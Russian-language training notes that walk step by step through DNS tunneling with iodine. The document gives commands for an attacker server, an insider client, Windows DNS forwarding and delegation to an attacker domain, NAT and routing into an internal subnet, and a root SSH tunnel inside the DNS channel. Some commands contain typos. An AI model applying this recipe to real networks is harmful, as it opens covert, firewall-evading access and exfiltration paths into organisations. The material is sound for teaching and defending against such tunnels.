# DNS Tunneling #### 1. Настройка сервера атакующего (Kali Linux - DNS Tunneling Server) > **`apt update & apt upgrade`** > > **`apt install iodine`** > > 1. Для понимания работы **iodine** с помощью команды создадим сервер, который будет принимать запросы только по указанному доменному имени > **`iodined 10.99.99.1/24 -c i.example.com -P *указать пароль сервера который будет использоваться для подключения клиентов*`** > Будет создан интерфейс **dns0** с указанным IP > **`ip a`** > > 2. Для удаления интерфейсов **dns** связанные с **iodine** > Найти запущенные процессы > **`ps ax | grep iodine`** > Убрать не нужные > **`kill -9 №_процесса`** #### 2. Настройка машины инсайдера (Debian) > **`apt update & apt upgrade`** > > **`apt install iodine`** > > 1. Изменить DNS > **`nano /etc/resolve.conf`** > **`nameserver *внешний IP сервера атакующего*`** > > 2. Подключиться к серверу атакующего > **`iodine -P *указать пароль сервера* -c i.expample.com`** > Будет создан интерфейс **dns0** с IP 10.99.99.2/24 > Проверить соединение > **`ping 10.99.99.2`** > > 3. После этого можно подключиться с сервера к инсайдеру через ssh > **`ssh root@10.99.99.2`** #### 3. Пример проникновения который возможен в реальной инфраструктуре > 1. Поднять DNS сервер внутри инфраструктуры (Windows Server) и DNS сервер атакующего снаружи (Windows Server), назначить им статический IP. > > 2. Установить сам DNS на двух серверах > **`Manage, Add Roles and Features -> Next -> Next -> Next -> Отмечаем DNS Server -> Add -> Next -> Next -> Install`** > > 3. Сделать форвард из локального DNS севера в DNS сервер атакующего > **`Tools -> DNS -> Properties -> Forwarders -> Указать IP внешнего DNS сервера -> Ok -> Apply`** > > 4. В настройках сети прописать **DNS 127.0.0.1** > 5. Сделать форвард из DNS сервера атакующего на 8.8.8.8 > > 6. На машине инсайдера (Debian) изменить DNS > **`nameserver *IP локального DNS сервера*`** > Пингуем внешний ресурс > **`ping ya.ru`** > С утилитой dnsutils можно посмотреть IP DNS сервера > **`apt install dnsutils`** > **`dig ya.ru`** > > 7. На DNS сервере атакующего создать новую зону > **`Forward Lookup Zones -> New Zone -> Zone Name к примеру hackeru.pro -> далее по умолчанию`** > > 8. В зоне hackeru.pro создать новое делегирование > **`New Delegation -> Delegated domain: tun -> Next -> IP Address *внешний IP машины атакующего(kali)*`** > > 9. На kali машине инсайдера: > > создать сервер iodine с обращением к tun.hackeru.pro > **`iodined 10.99.99.1/24 -c tun.hackeru.pro -P *указать пароль сервера который будет использоваться для подключения клиентов*`** > > > > Включить **forward** > > **`nano /etc/sysctl.conf`** > > **`расскоментить net.ipv4.ip_forward=1`** > > сохранить, выйти и применить изменения > > **`sysctl -p`** > > > > Прописать **NAT** > > **`iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE`** > > > > Прописать route > > **`ip route add 192.168.1.0/24 via 10.99.99.2`** > > > 10. На Debian машине инсайдера: > > подключиться к созданному серверу **iodine** > > **`iodine -P *указать пароль сервера* -c tun.hackeru.pro`** > > > > Прописать **route** > > **`ip route default via 10.99.99.1`** > > > > Включить **forward** > > **`nano /etc/sysctl.conf`** > > **`расскоментить net.ipv4.ip_forward=1`** > > сохранить, выйти и применить изменения > > **`sysctl -p`** > > > > Прописать **NAT** > > **`iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE`** > > 12. Создать SSH туннель в DNS туннеле > **`nano /etc/ssh/sshd_config`** > Изменить строки: > **`PermitRootLogin yes`** > **`PermitTunnel yes`** > Сохранить, выйти и запустить > **`service ssh start`** > > > На Debian машине инсайдера: > > **`ssh -w 5:5 root@10.99.99.1`** > > > > Создался туннель с интерфейсом **tun5**, поднимем его > > **`ip link set dev tun5 up`** > > > > Назначим IP > > **`ip addr add 10.10.10.2/24 dev tun5`** > > > На kali машине инсайдера: > > Назначим IP > > **`ip addr add 10.10.10.1/24 dev tun5`** > > > > Пропишем route > > ip route add 192.168.1.0/24 via 10.10.10.2 :::info Полезный материал по теме - [Лазейка под файрволом. Тестируем пять популярных средств, которые пробрасывают интернет по DNS](https://xakep.ru/2018/09/07/dns-tunneling/) - [Iodine: DNS туннель через закрытый WiFi](https://habr.com/ru/post/129097/) ::: ###### tags: `Cyber Infrastructure Threats`, `1 модуль`